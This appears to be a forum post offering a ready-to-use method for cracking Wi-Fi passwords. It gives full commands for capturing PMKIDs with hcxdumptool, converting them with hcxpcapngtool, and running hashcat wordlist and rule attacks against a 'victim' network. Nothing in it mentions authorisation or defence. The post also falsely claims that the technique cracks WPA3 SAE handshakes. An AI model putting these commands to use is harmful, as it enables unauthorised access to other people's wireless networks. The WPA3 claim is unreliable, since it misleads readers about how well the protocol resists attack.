DIAMOND ✅ Modern WPA3/WPA2 Cracking Method

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Traditional "Evil Twin" attacks are great, but they require social engineering. This method is silent, clientless, and works on modern WPA3 and WPA2 networks by targeting the PMKID (Pairwise Master Key Identifier).
1. PrerequisitesYou will need a Linux environment (Kali/Parrot) and a wireless adapter that supports monitor mode and injection.
Required Tools:

• hcxtools: To convert captures to hashes.
  
• hcxdumptool: To capture the PMKID/Handshake.
  
• Hashcat: The industry standard for cracking.
  

2. Capture the Traffic (The Silent Way)Instead of de-authenticating users, we use

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hcxdumptool

to request the PMKID directly from the Access Point. This works even if no clients are connected.Bash

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# Put your card in monitor mode airmon-ng start wlan0 # Capture traffic (Run for 10-20 minutes) sudo hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=1

3. Convert Capture to Hashcat FormatHashcat cannot read raw

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.pcapng

files. We use

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hcxpcapngtool

to extract the relevant data into Mode 22000, which is the unified format for WPA2/WPA3.Bash

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hcxpcapngtool -o target.22000 -E wordlist_info capture.pcapng

•  

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  target.22000
  

  : This is your hash file.
  
•  

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  wordlist_info
  

  : This generates a custom list based on the SSID names found (useful for common passwords).
  

4. Launch the AttackMode 22000 is optimized for GPU cracking. Use a solid wordlist like

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rockyou.txt

or a targeted custom list.Bash

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# Basic Wordlist Attack hashcat -m 22000 target.22000 wordlist.txt # Rule-based Attack (Very Effective) hashcat -m 22000 target.22000 wordlist.txt -r /usr/share/hashcat/rules/best64.rule

Why use this method?

1. Clientless: You don't need a victim to be online.
   
2. WPA3 Compatible: Supports the latest SAE (Simultaneous Authentication of Equals) handshakes.
   
3. Efficiency: Mode 22000 is significantly faster than older WPA formats in Hashcat.
   

Resources & Documentation

• hcxtools Repository: https://github.com/ZerBea/hcxtools
  
• hcxdumptool Repository: https://github.com/ZerBea/hcxdumptool
  
• Hashcat Official: https://hashcat.net/hashcat/
  

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